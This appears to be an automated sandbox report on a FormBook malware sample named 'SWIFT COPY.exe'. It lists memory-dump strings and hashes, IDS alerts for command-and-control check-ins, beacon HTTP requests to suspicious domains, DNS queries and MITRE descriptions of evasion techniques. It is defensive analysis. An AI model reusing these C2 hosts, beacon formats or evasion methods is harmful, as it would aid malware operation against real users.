4567, xrefs: 02F7E0BA
@@@@, xrefs: 02F7E211
@@@@, xrefs: 02F7E1A8
@@@@, xrefs: 02F7E17E
@@@@, xrefs: 02F7E14D

Memory Dump Source

Source File: 00000007.00000002.3579534381.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2f70000_finger.jbxd

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-3558027158
Opcode ID: 5a96c6284389f62c30a2dd4d636429b92f6a6b2938730354730b7adc21228ec2
Instruction ID: d45c10cc55456b1e2803715b4c647ad88a9b12d2d57e808ca69733cd20130873
Opcode Fuzzy Hash: 5a96c6284389f62c30a2dd4d636429b92f6a6b2938730354730b7adc21228ec2
Instruction Fuzzy Hash: 0E9150F04482988AC7158F55A0652AFFFB1EBC6305F15816DE7E6BB243C3BE8905CB85

Function 02F73C01 Relevance: 26.3, Strings: 21, Instructions: 75COMMON

Download Yara Rule

Strings

9<>0, xrefs: 02F73CCD
<91, xrefs: 02F73C87
<z`f, xrefs: 02F73D2F
z`fb, xrefs: 02F73CB1
{fcu, xrefs: 02F73CB8
<:;z, xrefs: 02F73CE9
anu0, xrefs: 02F73C56
b{fc, xrefs: 02F73D36
dmab, xrefs: 02F73D0C
;x &, xrefs: 02F73C5D
>:|u, xrefs: 02F73CDB
`{eu, xrefs: 02F73C2C
434', xrefs: 02F73D28
:<1u, xrefs: 02F73C48
80zf, xrefs: 02F73CFE
a{e{, xrefs: 02F73D05
-nu, xrefs: 02F73C3A
{bcu, xrefs: 02F73D13
a{a{, xrefs: 02F73C4F
g{eu, xrefs: 02F73CF0
994z, xrefs: 02F73C20

Memory Dump Source

Source File: 00000007.00000002.3579534381.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2f70000_finger.jbxd

Similarity

API ID:
String ID: -nu$ <91$434'$80zf$994z$9<>0$:<1u$;x &$<:;z$<z`f$>:|u$`{eu$anu0$a{a{$a{e{$b{fc$dmab$g{eu$z`fb${bcu${fcu
API String ID: 0-2065742749
Opcode ID: 9ae20cf4b4557e0ac6225483ce40d05f002ddf7f1f7b9f4d55118934c447bddd
Instruction ID: 1e964edb20ba8b2d53abdb6e1158f836a9fd7585382245bc673592c4d887d9bd
Opcode Fuzzy Hash: 9ae20cf4b4557e0ac6225483ce40d05f002ddf7f1f7b9f4d55118934c447bddd
Instruction Fuzzy Hash: 1141F2B480478CEBCF18CF85D9416DEBB71FF05394F904159E9096F294C7758616CB89

Function 03092890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0309293C
___swprintf_l.LIBCMT ref: 0309295E
___swprintf_l.LIBCMT ref: 030929A3
___swprintf_l.LIBCMT ref: 030CA52E

Strings

ffff:, xrefs: 030CA504
:%u.%u.%u.%u, xrefs: 030CA5B8
::ffff:0:%u.%u.%u.%u, xrefs: 030CA54E
::%hs%u.%u.%u.%u, xrefs: 030CA527

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: df81b7881121f3e46e114281a37ff92426e3751765e9f637d9d1e1676c0aa039
Instruction ID: 34c3ae5f7c2185c2715c4bbb1495f6084ddef1f04ab1bae48b596b28252314c4
Opcode Fuzzy Hash: df81b7881121f3e46e114281a37ff92426e3751765e9f637d9d1e1676c0aa039
Instruction Fuzzy Hash: 5C51E8B5A0215EBFDF10DB98888097FF7FCBB48200B14C9AAE4A5D7641D234DE509BE0

Function 03102410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 031024A6
___swprintf_l.LIBCMT ref: 031024E2
___swprintf_l.LIBCMT ref: 0310257D
___swprintf_l.LIBCMT ref: 031025A3
___swprintf_l.LIBCMT ref: 031025C8
___swprintf_l.LIBCMT ref: 03102608

Strings

ffff:, xrefs: 0310247D, 0310249D
::ffff:0:%u.%u.%u.%u, xrefs: 031024DA
:%u.%u.%u.%u, xrefs: 031025FF
::%hs%u.%u.%u.%u, xrefs: 0310249E

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: ac6cc71d80048d82c1331b6ca2c18bdf52bb82e64cc297567d06bea811312ea1
Instruction ID: ca618df5bbe03bfd90ee8bc0c91e696bab97922cc3ad189d0f9efe3e2323cbb8
Opcode Fuzzy Hash: ac6cc71d80048d82c1331b6ca2c18bdf52bb82e64cc297567d06bea811312ea1
Instruction Fuzzy Hash: 4551F6B5A00645AFCB34DE9CC8949BFF7FDEB4C200B0488AAE495D7681D7F4DA418760

Function 03087630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 030C46A0
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 030C46FC
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 030C4655
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 030C4742
Execute=1, xrefs: 030C4713
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 030C4725
CLIENT(ntdll): Processing section info %ws..., xrefs: 030C4787

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: b60dd9e91189c1786a672a6185a5a7d3a8347b9ce68de467d38f75c6ecd1300f
Instruction ID: f089d2b6831c5937d97e7ac7d2bc37f8a13e5bfb62670d75b785979321ccfacb
Opcode Fuzzy Hash: b60dd9e91189c1786a672a6185a5a7d3a8347b9ce68de467d38f75c6ecd1300f
Instruction Fuzzy Hash: B25127356023096AEF11FFA5DC95FEE73A8AF49700F1800A9D545AB191EB709A41CF60

Function 03126940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction ID: 802b2a1c53ce28eeecc5b5a65368f1dce3ae24bd2cb6761e84330ccc7ab5de78
Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction Fuzzy Hash: FE022475608351AFD709DF18C890A6FBBE5EFC8710F04892DF9898B2A4DB71E915CB42

Function 0309B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0309B6BF

Strings

0, xrefs: 0309B66F
-, xrefs: 0309B650
+, xrefs: 0309B65A
0, xrefs: 0309B695

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: 94ad4654b3f1142218e17634cfda67b94708d02a5d18484870de1f70be7c768d
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: EC818C30A062499BFF24CE68E8917EEBBE5AF45330F18469BD861A7290C6349841EB50

Function 031020E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0310214F
___swprintf_l.LIBCMT ref: 03102172

Strings

]:%u, xrefs: 03102169
[, xrefs: 0310212B
%%%u, xrefs: 03102146

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 7dec94c7a98f0b96ab968482e4497616cacb29cb021ca577775785f7e7f7889d
Instruction ID: 768eb6bd2894bca641e4df7ca048a9d75864d2e07a26a4275a13c2677e25c264
Opcode Fuzzy Hash: 7dec94c7a98f0b96ab968482e4497616cacb29cb021ca577775785f7e7f7889d
Instruction Fuzzy Hash: 2921957AA01219ABDB10DF79DC44AFEB7FCEF48640F080566E915D7240E770DA029BA0

Function 0307F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 030C02BD
RTL: Re-Waiting, xrefs: 030C031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 030C02E7

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: c29a3890d59410a4cb23a60a2aa3626f1d1884b140d42be41751c9e6d53427ea
Instruction ID: 17386853f3090f25bc9f21ed2935e2f3923361b6c0c4ad858b69d10604ec3598
Opcode Fuzzy Hash: c29a3890d59410a4cb23a60a2aa3626f1d1884b140d42be41751c9e6d53427ea
Instruction Fuzzy Hash: 19E1E130A16782DFD764CF28C884B6AB7E4BF88324F184A5DF4A58B2E0D774D844CB56

Function 0308BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 030C7B8E
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 030C7B7F
RTL: Re-Waiting, xrefs: 030C7BAC

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 992635105309fbd286456f82642201bef43da819779698ecd33843c5bc852122
Instruction ID: 4638009a55e203282b41bfe13216e49892f31a7e7965af9e63884db0d1dbba4d
Opcode Fuzzy Hash: 992635105309fbd286456f82642201bef43da819779698ecd33843c5bc852122
Instruction Fuzzy Hash: EA41E2357067029FD724EF29C840B6AB7E5EF89720F140A1DF89A9B281DB71E4058F91

Function 0308B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 030C728C

Strings

RTL: Resource at %p, xrefs: 030C72A3
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 030C7294
RTL: Re-Waiting, xrefs: 030C72C1

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: b5628e8dae4c71a8ef0a48140df1f2f0438584878441d01af289231560a605ea
Instruction ID: 63a0b27a0330bdb187215f611065d6ca147720fd19845e86b2fb4efe0cc3e88e
Opcode Fuzzy Hash: b5628e8dae4c71a8ef0a48140df1f2f0438584878441d01af289231560a605ea
Instruction Fuzzy Hash: A4410235702746AFD720DF25CC41B6AB7E5FF84B20F184A1DF895AB640DB21E8068BD1

Function 03102300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0310238D
___swprintf_l.LIBCMT ref: 031023B3

Strings

%%%u, xrefs: 03102384
]:%u, xrefs: 031023AA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 1a5bff950b249d294315fd7cc164c7716692b7412541dc0bd9719c0c03912ba8
Instruction ID: ab5788c245639b3ebcfa58b2d7e0bd5e6ac93b62c9ff3c9a4232ed5fa389b652
Opcode Fuzzy Hash: 1a5bff950b249d294315fd7cc164c7716692b7412541dc0bd9719c0c03912ba8
Instruction Fuzzy Hash: 74318876A002199FCB20DF39DC44BEEB7F8EB48610F444596E849D7240EB709A458B60

Function 03097D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 03097E8B

Strings

-, xrefs: 03097DDD
+, xrefs: 03097DE8

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: 6be6d1d50c51ab6bcd041f65618a42fdc8a41514d42a0e4757458628c14758ce
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: DF91A372E1221A9FFF64DE69C8917BEB7F5AF84B20F18451BE865A72D0D7308940A710

Function 03059126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 03059191
@, xrefs: 03059175

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: a03480e806214d2cc2503b181a716c189b14b7dce5022e3d7832ff83a150bcc9
Instruction ID: c301137af02683bb48743b6e97717e2b161e28746491a00c82af079ba6d995db
Opcode Fuzzy Hash: a03480e806214d2cc2503b181a716c189b14b7dce5022e3d7832ff83a150bcc9
Instruction Fuzzy Hash: CA8138B5D01269DBDB25DB54CC44BEEB7B8AF48750F0445EAE919B7280E7309E80CFA4

Function 02F73EB3 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

@, xrefs: 02F73FED
0, xrefs: 02F73FD2
$, xrefs: 02F73F8D
@, xrefs: 02F74067

Memory Dump Source

Source File: 00000007.00000002.3579534381.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2f70000_finger.jbxd

Similarity

API ID:
String ID: $$0$@$@
API String ID: 0-1132210376
Opcode ID: 4fe272b2b72627303fa43c44375c99b71c90e76ecacbfcf8f168d034213176c6
Instruction ID: ec6f2a9f0986bb4a9545b3594792e08a9bd506ccc4707495cf58bb98d3fc386c
Opcode Fuzzy Hash: 4fe272b2b72627303fa43c44375c99b71c90e76ecacbfcf8f168d034213176c6
Instruction Fuzzy Hash: 1651B1716187488FCB18DF68C8856DEBBF0FB89754F10019FE98A93241C734E546DB86

Source: C:\Windows\SysWOW64\finger.exe	Code function: 4x nop then xor eax, eax	7_2_02879F20
Source: C:\Windows\SysWOW64\finger.exe	Code function: 4x nop then pop edi	7_2_0287E3A1
Source: C:\Windows\SysWOW64\finger.exe	Code function: 4x nop then mov ebx, 00000004h	7_2_02F704BE

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49763 -> 104.21.86.111:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49763 -> 104.21.86.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49825 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49831 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49836 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49863 -> 134.122.191.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49869 -> 134.122.191.187:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49845 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49845 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49875 -> 134.122.191.187:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49884 -> 134.122.191.187:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49884 -> 134.122.191.187:80

Source: Joe Sandbox View	ASN Name: BCPL-SGBGPNETGlobalASNSG BCPL-SGBGPNETGlobalASNSG
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU

Source: SWIFT COPY.exe	Virustotal: Detection: 34%			Perma Link
Source: SWIFT COPY.exe	ReversingLabs: Detection: 63%

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fjd6/?Ir=beVfoldUF3/aok0FdWpvJC8HGsWBcAhapzZJ64FbAFAGDRV4pYz0MK1VY/vkdFXAOWskmP9Sk8tWhxHaAHTK2FUvh8SZisD6hpiODREZagit+S+U5/mb9Z4=&M8Gl=KPotmx2p0n HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.pbfgm.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ+EmZyFY/HlqglCDghJI5jUfoqKY7Fz8p0/9FqW//8AiMTO0G3RJpL4=&M8Gl=KPotmx2p0n HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.elinor.clubConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /s6zh/?Ir=3lPbUJ/4EMFnMU367dk2ybPqIMylLyFhjqRifsXJf3a7S0x2d/GglTvwUDIMpGCMSyBp4aVeuGLlN5/zkDRsMKMrA2+vlNwKuHc+NKCv2NtQORSHn8saFjw=&M8Gl=KPotmx2p0n HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.smalleyes.icuConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.pbfgm.xyz
Source: global traffic	DNS traffic detected: DNS query: www.phdcoach.pro
Source: global traffic	DNS traffic detected: DNS query: www.elinor.club
Source: global traffic	DNS traffic detected: DNS query: www.smalleyes.icu

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

